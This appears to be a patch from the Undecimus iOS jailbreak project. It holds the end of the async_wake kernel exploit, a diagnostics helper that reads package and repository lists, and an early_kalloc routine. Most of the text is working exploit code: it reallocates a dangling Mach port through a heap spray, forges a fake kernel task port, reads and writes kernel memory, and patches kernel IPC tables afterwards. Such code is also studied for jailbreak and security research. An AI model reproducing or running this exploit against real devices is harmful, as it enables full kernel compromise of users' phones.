uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &context_ptr);
|
||||
if (replacer_message_body == NULL) {
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
LOG("replacer_body_size: 0x%x", replacer_body_size);
|
||||
LOG("message_body_offset: 0x%x", message_body_offset);
|
||||
|
||||
make_dangling(first_port);
|
||||
|
||||
free_ports(pre_ports, n_pre_ports);
|
||||
|
||||
// free the smaller ports, they will get gc'd later:
|
||||
for (int i = 0; i < n_smaller_ports; i++) {
|
||||
mach_port_destroy(mach_task_self(), smaller_ports[i]);
|
||||
}
|
||||
|
||||
// now try to get that zone collected and reallocated as something controllable (kalloc.4096):
|
||||
|
||||
const int replacer_ports_limit = 200; // about 200 MB
|
||||
mach_port_t replacer_ports[replacer_ports_limit];
|
||||
memset(replacer_ports, 0, sizeof(replacer_ports));
|
||||
uint32_t i;
|
||||
for (i = 0; i < replacer_ports_limit; i++) {
|
||||
uint64_t context_val = (context_magic) | i;
|
||||
*context_ptr = context_val;
|
||||
replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
|
||||
if (replacer_ports[i] == MACH_PORT_NULL) {
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
// we want the GC to actually finish, so go slow...
|
||||
pthread_yield_np();
|
||||
usleep(10000);
|
||||
LOG("%d", i);
|
||||
}
|
||||
|
||||
// find out which replacer port it was
|
||||
mach_port_context_t replacer_port_number = 0;
|
||||
err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to get context: %d %s", err, mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
replacer_port_number &= 0xffffffff;
|
||||
if (replacer_port_number >= (uint64_t)replacer_ports_limit) {
|
||||
LOG("suspicious context value, something's wrong %lx", replacer_port_number);
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
LOG("got replaced with replacer port %ld", replacer_port_number);
|
||||
|
||||
prepare_rk_via_kmem_read_port(first_port);
|
||||
|
||||
uint64_t kernel_vm_map = find_kernel_vm_map(task_self);
|
||||
if (kernel_vm_map == 0) {
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
LOG("found kernel vm_map: 0x%llx", kernel_vm_map);
|
||||
|
||||
// now free first replacer and put a fake kernel task port there
|
||||
// we need to do this becase the first time around we don't know the address
|
||||
// of ipc_space_kernel which means we can't fake a port owned by the kernel
|
||||
SafeFreeNULL(replacer_message_body);
|
||||
replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr);
|
||||
if (replacer_message_body == NULL) {
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
// free the first replacer
|
||||
mach_port_t replacer_port = replacer_ports[replacer_port_number];
|
||||
replacer_ports[replacer_port_number] = MACH_PORT_NULL;
|
||||
mach_port_destroy(mach_task_self(), replacer_port);
|
||||
|
||||
const int n_second_replacer_ports = 10;
|
||||
mach_port_t second_replacer_ports[n_second_replacer_ports];
|
||||
|
||||
for (int i = 0; i < n_second_replacer_ports; i++) {
|
||||
*context_ptr = i;
|
||||
second_replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
|
||||
if (second_replacer_ports[i] == MACH_PORT_NULL) {
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
}
|
||||
|
||||
// hopefully that worked the second time too!
|
||||
// check the context:
|
||||
|
||||
replacer_port_number = 0;
|
||||
err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to get context: %d %s", err, mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
replacer_port_number &= 0xffffffff;
|
||||
if (replacer_port_number >= (uint64_t)n_second_replacer_ports) {
|
||||
LOG("suspicious context value, something's wrong %lx", replacer_port_number);
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
LOG("second time got replaced with replacer port %ld", replacer_port_number);
|
||||
|
||||
// clear up the original replacer ports:
|
||||
for (int i = 0; i < replacer_ports_limit; i++) {
|
||||
mach_port_destroy(mach_task_self(), replacer_ports[i]);
|
||||
}
|
||||
|
||||
// then clear up the second replacer ports (apart from the one in use)
|
||||
mach_port_t second_replacement_port = second_replacer_ports[replacer_port_number];
|
||||
second_replacer_ports[replacer_port_number] = MACH_PORT_NULL;
|
||||
for (int i = 0; i < n_second_replacer_ports; i++) {
|
||||
mach_port_destroy(mach_task_self(), second_replacer_ports[i]);
|
||||
}
|
||||
|
||||
LOG("will try to read from second port (fake kernel)");
|
||||
// try to read some kernel memory using the second port:
|
||||
vm_offset_t data_out = 0;
|
||||
mach_msg_type_number_t out_size = 0;
|
||||
err = mach_vm_read(first_port, kernel_vm_map, 0x40, &data_out, &out_size);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("mach_vm_read failed: %x %s", err, mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
LOG("kernel read via fake kernel task port worked?");
|
||||
LOG("0x%016llx", *(uint64_t*)data_out);
|
||||
LOG("0x%016llx", *(uint64_t*)(data_out + 8));
|
||||
LOG("0x%016llx", *(uint64_t*)(data_out + 0x10));
|
||||
LOG("0x%016llx", *(uint64_t*)(data_out + 0x18));
|
||||
|
||||
prepare_rwk_via_tfp0(first_port);
|
||||
LOG("about to build safer tfp0");
|
||||
|
||||
//early_kalloc(0x10000);
|
||||
//return 0;
|
||||
|
||||
mach_port_t safer_tfp0 = build_safe_fake_tfp0(kernel_vm_map, ipc_space_kernel());
|
||||
prepare_rwk_via_tfp0(safer_tfp0);
|
||||
|
||||
LOG("built safer tfp0");
|
||||
LOG("about to clear up");
|
||||
|
||||
// can now clean everything up
|
||||
WriteKernel32(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_NONE);
|
||||
WriteKernel64(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);
|
||||
|
||||
// first port will soon point to freed memory, so neuter it:
|
||||
uint64_t task_port_addr = task_self_addr();
|
||||
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
|
||||
uint32_t port_index = first_port >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
|
||||
// remove all rights
|
||||
WriteKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
|
||||
|
||||
// clear the ipc_port port too
|
||||
WriteKernel64(is_table + (port_index * sizeof_ipc_entry_t), 0);
|
||||
|
||||
mach_port_destroy(mach_task_self(), second_replacement_port);
|
||||
LOG("cleared up");
|
||||
return safer_tfp0;
|
||||
}
|
||||
|
||||
bool async_wake_go()
|
||||
{
|
||||
mach_port_t tfp0 = get_kernel_memory_rw();
|
||||
LOG("tfp0: %x", tfp0);
|
||||
return (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
@@ -3,6 +3,6 @@
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
void async_wake_go(void);
|
||||
bool async_wake_go(void);
|
||||
|
||||
#endif /* async_wake_h */
|
||||
@@ -0,0 +1,23 @@
|
||||
//
|
||||
// diagnostics.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 5/3/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef diagnostics_h
|
||||
#define diagnostics_h
|
||||
|
||||
#include <Foundation/Foundation.h>
|
||||
|
||||
#define STATUS_FILE @"/var/lib/dpkg/status"
|
||||
#define CYDIA_LIST @"/etc/apt/sources.list.d/cydia.list"
|
||||
|
||||
NSArray *dependencyArrayFromString(NSString *depends);
|
||||
NSArray *parsedPackageArray(void);
|
||||
NSString *domainFromRepoObject(NSString *repoObject);
|
||||
NSArray *sourcesFromFile(NSString *theSourceFile);
|
||||
NSDictionary *getDiagnostics(void);
|
||||
|
||||
#endif /* diagnostics_h */
|
||||
@@ -0,0 +1,147 @@
|
||||
//
|
||||
// diagnostics.c
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 5/3/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include "diagnostics.h"
|
||||
#include <common.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include "utils.h"
|
||||
#include "prefs.h"
|
||||
|
||||
#if 0
|
||||
Credits:
|
||||
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L1138
|
||||
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L1163
|
||||
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L854
|
||||
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L869
|
||||
#endif
|
||||
|
||||
NSArray *dependencyArrayFromString(NSString *depends) {
|
||||
NSMutableArray *cleanArray = [NSMutableArray new];
|
||||
NSArray *dependsArray = [depends componentsSeparatedByString:@","];
|
||||
for (NSString *depend in dependsArray) {
|
||||
NSArray *spaceDelimitedArray = [depend componentsSeparatedByString:@" "];
|
||||
NSString *isolatedDependency = [[spaceDelimitedArray objectAtIndex:0] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
if ([isolatedDependency length] == 0) {
|
||||
isolatedDependency = [[spaceDelimitedArray objectAtIndex:1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
}
|
||||
[cleanArray addObject:isolatedDependency];
|
||||
}
|
||||
return cleanArray;
|
||||
}
|
||||
|
||||
NSArray *parsedPackageArray() {
|
||||
NSString *packageString = [NSString stringWithContentsOfFile:STATUS_FILE encoding:NSUTF8StringEncoding error:nil];
|
||||
NSArray *lineArray = [packageString componentsSeparatedByString:@"\n\n"];
|
||||
NSMutableArray *mutableList = [[NSMutableArray alloc] init];
|
||||
for (NSString *currentItem in lineArray) {
|
||||
NSArray *packageArray = [currentItem componentsSeparatedByString:@"\n"];
|
||||
NSMutableDictionary *currentPackage = [[NSMutableDictionary alloc] init];
|
||||
for (NSString *currentLine in packageArray) {
|
||||
NSArray *itemArray = [currentLine componentsSeparatedByString:@": "];
|
||||
if ([itemArray count] >= 2) {
|
||||
NSString *key = [itemArray objectAtIndex:0];
|
||||
NSString *object = [itemArray objectAtIndex:1];
|
||||
if ([key isEqualToString:@"Depends"]) {
|
||||
NSArray *dependsObject = dependencyArrayFromString(object);
|
||||
[currentPackage setObject:dependsObject forKey:key];
|
||||
} else {
|
||||
[currentPackage setObject:object forKey:key];
|
||||
}
|
||||
}
|
||||
}
|
||||
if ([[currentPackage allKeys] count] > 4) {
|
||||
[mutableList addObject:currentPackage];
|
||||
}
|
||||
currentPackage = nil;
|
||||
}
|
||||
NSSortDescriptor *nameDescriptor = [[NSSortDescriptor alloc] initWithKey:@"Name" ascending:YES selector:@selector(localizedCaseInsensitiveCompare:)];
|
||||
NSSortDescriptor *packageDescriptor = [[NSSortDescriptor alloc] initWithKey:@"Package" ascending:YES selector:@selector(localizedCaseInsensitiveCompare:)];
|
||||
NSArray *descriptors = [NSArray arrayWithObjects:nameDescriptor, packageDescriptor, nil];
|
||||
NSArray *sortedArray = [mutableList sortedArrayUsingDescriptors:descriptors];
|
||||
mutableList = nil;
|
||||
return sortedArray;
|
||||
}
|
||||
|
||||
NSString *domainFromRepoObject(NSString *repoObject) {
|
||||
if ([repoObject length] == 0) return nil;
|
||||
NSArray *sourceObjectArray = [repoObject componentsSeparatedByString:@" "];
|
||||
NSString *url = [sourceObjectArray objectAtIndex:1];
|
||||
if ([url length] > 7) {
|
||||
NSString *urlClean = [url substringFromIndex:7];
|
||||
NSArray *secondArray = [urlClean componentsSeparatedByString:@"/"];
|
||||
return [secondArray objectAtIndex:0];
|
||||
}
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSArray *sourcesFromFile(NSString *theSourceFile) {
|
||||
NSMutableArray *finalArray = [NSMutableArray new];
|
||||
NSString *sourceString = [[NSString stringWithContentsOfFile:theSourceFile encoding:NSASCIIStringEncoding error:nil] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
NSArray *sourceFullArray = [sourceString componentsSeparatedByString:@"\n"];
|
||||
NSEnumerator *sourceEnum = [sourceFullArray objectEnumerator];
|
||||
NSString *currentSource = nil;
|
||||
while (currentSource = [sourceEnum nextObject]) {
|
||||
NSString *theObject = domainFromRepoObject(currentSource);
|
||||
if (theObject != nil) {
|
||||
if (![finalArray containsObject:theObject])
|
||||
[finalArray addObject:theObject];
|
||||
}
|
||||
}
|
||||
return finalArray;
|
||||
}
|
||||
|
||||
NSDictionary *getDiagnostics() {
|
||||
NSMutableDictionary *diagnostics = [NSMutableDictionary new];
|
||||
char *OSVersion = getOSVersion();
|
||||
assert(OSVersion != NULL);
|
||||
char *OSProductVersion = getOSProductVersion();
|
||||
assert(OSProductVersion != NULL);
|
||||
char *kernelVersion = getKernelVersion();
|
||||
assert(kernelVersion != NULL);
|
||||
char *machineName = getMachineName();
|
||||
assert(machineName != NULL);
|
||||
prefs_t *prefs = copy_prefs();
|
||||
diagnostics[@"OSVersion"] = [NSString stringWithUTF8String:OSVersion];
|
||||
diagnostics[@"OSProductVersion"] = [NSString stringWithUTF8String:OSProductVersion];
|
||||
diagnostics[@"KernelVersion"] = [NSString stringWithUTF8String:kernelVersion];
|
||||
diagnostics[@"MachineName"] = [NSString stringWithUTF8String:machineName];
|
||||
diagnostics[@"Preferences"] = [NSMutableDictionary new];
|
||||
diagnostics[@"Preferences"][@K_TWEAK_INJECTION] = [NSNumber numberWithBool:(BOOL)prefs->load_tweaks];
|
||||
diagnostics[@"Preferences"][@K_LOAD_DAEMONS] = [NSNumber numberWithBool:(BOOL)prefs->load_daemons];
|
||||
diagnostics[@"Preferences"][@K_DUMP_APTICKET] = [NSNumber numberWithBool:(BOOL)prefs->dump_apticket];
|
||||
diagnostics[@"Preferences"][@K_REFRESH_ICON_CACHE] = [NSNumber numberWithBool:(BOOL)prefs->run_uicache];
|
||||
diagnostics[@"Preferences"][@K_BOOT_NONCE] = [NSString stringWithUTF8String:(const char *)prefs->boot_nonce];
|
||||
diagnostics[@"Preferences"][@K_DISABLE_AUTO_UPDATES] = [NSNumber numberWithBool:(BOOL)prefs->disable_auto_updates];
|
||||
diagnostics[@"Preferences"][@K_DISABLE_APP_REVOKES] = [NSNumber numberWithBool:(BOOL)prefs->disable_app_revokes];
|
||||
diagnostics[@"Preferences"][@K_OVERWRITE_BOOT_NONCE] = [NSNumber numberWithBool:(BOOL)prefs->overwrite_boot_nonce];
|
||||
diagnostics[@"Preferences"][@K_EXPORT_KERNEL_TASK_PORT] = [NSNumber numberWithBool:(BOOL)prefs->export_kernel_task_port];
|
||||
diagnostics[@"Preferences"][@K_RESTORE_ROOTFS] = [NSNumber numberWithBool:(BOOL)prefs->restore_rootfs];
|
||||
diagnostics[@"Preferences"][@K_INCREASE_MEMORY_LIMIT] = [NSNumber numberWithBool:(BOOL)prefs->increase_memory_limit];
|
||||
diagnostics[@"Preferences"][@K_ECID] = [NSString stringWithUTF8String:(const char *)prefs->ecid];
|
||||
diagnostics[@"Preferences"][@K_INSTALL_CYDIA] = [NSNumber numberWithBool:(BOOL)prefs->install_cydia];
|
||||
diagnostics[@"Preferences"][@K_INSTALL_OPENSSH] = [NSNumber numberWithBool:(BOOL)prefs->install_openssh];
|
||||
diagnostics[@"Preferences"][@K_RELOAD_SYSTEM_DAEMONS] = [NSNumber numberWithBool:(BOOL)prefs->reload_system_daemons];
|
||||
diagnostics[@"Preferences"][@K_RESET_CYDIA_CACHE] = [NSNumber numberWithBool:(BOOL)prefs->reset_cydia_cache];
|
||||
diagnostics[@"Preferences"][@K_SSH_ONLY] = [NSNumber numberWithBool:(BOOL)prefs->ssh_only];
|
||||
diagnostics[@"Preferences"][@K_ENABLE_GET_TASK_ALLOW] = [NSNumber numberWithBool:(BOOL)prefs->enable_get_task_allow];
|
||||
diagnostics[@"Preferences"][@K_SET_CS_DEBUGGED] = [NSNumber numberWithBool:(BOOL)prefs->set_cs_debugged];
|
||||
diagnostics[@"Preferences"][@K_HIDE_LOG_WINDOW] = [NSNumber numberWithBool:(BOOL)prefs->hide_log_window];
|
||||
diagnostics[@"Preferences"][@K_EXPLOIT] = [NSNumber numberWithInt:(int)prefs->exploit];
|
||||
diagnostics[@"AppVersion"] = [NSString stringWithString:appVersion()];
|
||||
diagnostics[@"LogFile"] = [NSString stringWithContentsOfFile:getLogFile() encoding:NSUTF8StringEncoding error:nil];
|
||||
diagnostics[@"Sources"] = [NSArray arrayWithArray:sourcesFromFile(CYDIA_LIST)];
|
||||
diagnostics[@"Packages"] = [NSArray arrayWithArray:parsedPackageArray()];
|
||||
diagnostics[@"Uptime"] = [NSNumber numberWithDouble:getUptime()];
|
||||
SafeFreeNULL(OSVersion);
|
||||
SafeFreeNULL(OSProductVersion);
|
||||
SafeFreeNULL(kernelVersion);
|
||||
SafeFreeNULL(machineName);
|
||||
release_prefs(&prefs);
|
||||
return diagnostics;
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
//
|
||||
// early_kalloc.c
|
||||
// async_wake_ios
|
||||
//
|
||||
// Created by Ian Beer on 12/11/17.
|
||||
// Copyright © 2017 Ian Beer. All rights reserved.
|
||||
//
|
||||
|
||||
#include "early_kalloc.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "find_port.h"
|
||||
#include <common.h>
|
||||
|
||||
// get a kalloc allocation before we've got a kcall interface to just call it
|
||||
uint64_t early_kalloc(int size)
|
||||
{
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate port");
|
||||
}
|
||||
|
||||
uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
struct simple_msg {
|
||||
mach_msg_header_t hdr;
|
||||
char buf[0];
|
||||
};
|
||||
|
||||
mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
|
||||
struct simple_msg* msg = malloc(msg_size);
|
||||
memset(msg, 0, msg_size);
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = msg_size;
|
||||
msg->hdr.msgh_remote_port = port;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414142;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("early kalloc failed to send message");
|
||||
}
|
||||
|
||||
// find the message buffer:
|
||||
|
||||
uint64_t message_buffer = ReadKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
|
||||
LOG("message buffer: %llx", message_buffer);
|
||||
|
||||
// leak the message buffer:
|
||||
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
|
||||
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
|
||||
|
||||
return message_buffer;
|
||||
}
|
||||